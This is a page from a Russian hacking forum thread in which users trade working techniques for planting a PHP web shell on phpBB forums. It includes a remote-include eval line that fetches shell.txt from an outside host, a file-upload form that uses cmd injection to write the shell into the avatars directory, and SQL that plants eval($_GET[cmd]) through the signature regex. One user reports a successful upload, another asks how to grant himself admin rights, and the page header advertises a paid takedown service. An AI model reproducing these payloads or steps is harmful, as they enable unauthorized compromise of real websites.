Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1274 из 2422

1274

Опции темы

Поиск в этой теме

Опции просмотра

08.05.2010, 19:22

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

Konqi расширение шела не php а txt и только txt!

eval(file_get_contents('http://mysite.com/shell.txt'));

𝕏 Twitter Reddit Telegram Копировать ссылку

08.05.2010, 19:24

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

А аплоадить шелл некак?

5 сек дам линк на пост )

https://forum.antichat.ru/showpost.php?p=1722124&postcount=10463

08.05.2010, 19:38

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

И как же этот код на сервер запихнуть?

08.05.2010, 19:40

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

GOGA075

с текстом тоже самое

08.05.2010, 19:46

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

Ну тут 2 варианта.
Либо что то нетак сделал, либо админ сервера закрыл урлы в cmd!

08.05.2010, 19:51

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

я ни так хорошо понял версию Ctacok

куда нужно ставить эту форму аплоада ??

08.05.2010, 20:13

.:[melkiy]:.

Постоянный

Регистрация: 25.01.2009

Сообщений: 368

С нами: 9100556

Репутация: 912

Цитата:

Сообщение от Konqi

я ни так хорошо понял версию Ctacok

куда нужно ставить эту форму аплоада ??

1. создаёшь у себя на компе 1.html
2. засовываешь туда

Код HTML:

      <form action="http://your_site.ru/forum/profile.php?mode=editprofile&cmd=copy($_FILES[file][tmp_name], $_GET[bob]);&bob=/home/z/u/zucchini/public_html/forum/images/avatars/htaccess.php
" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="upload">
</form>

3. создаёшь 1.sql
4. суёшь туда

PHP код:


		
			
      UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval($_GET[cmd])' WHERE username='USERNAME';

5. открываешь через браузер 1.html
6. выбираешь шелл
7. жмёшь upload
8. проверяешь, http://your_site.ru/forum/images/avatars/htaccess.php

так ясно? %)

08.05.2010, 20:02

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

Konqi попробуй через иклуид!

08.05.2010, 20:07

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

GOGA075 ты Эйнштейн.

как можно было забыть такое!!

shell загрузилось без каких либо проблем

#10

08.05.2010, 20:13

GOGA075

Участник форума

Регистрация: 30.03.2008

Сообщений: 208

С нами: 9534473

Репутация: 18

А может кто подскажет как через phpmyadmin сделать админом любого юзера форума phpbb3!

Страница 1274 из 2422

1274

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57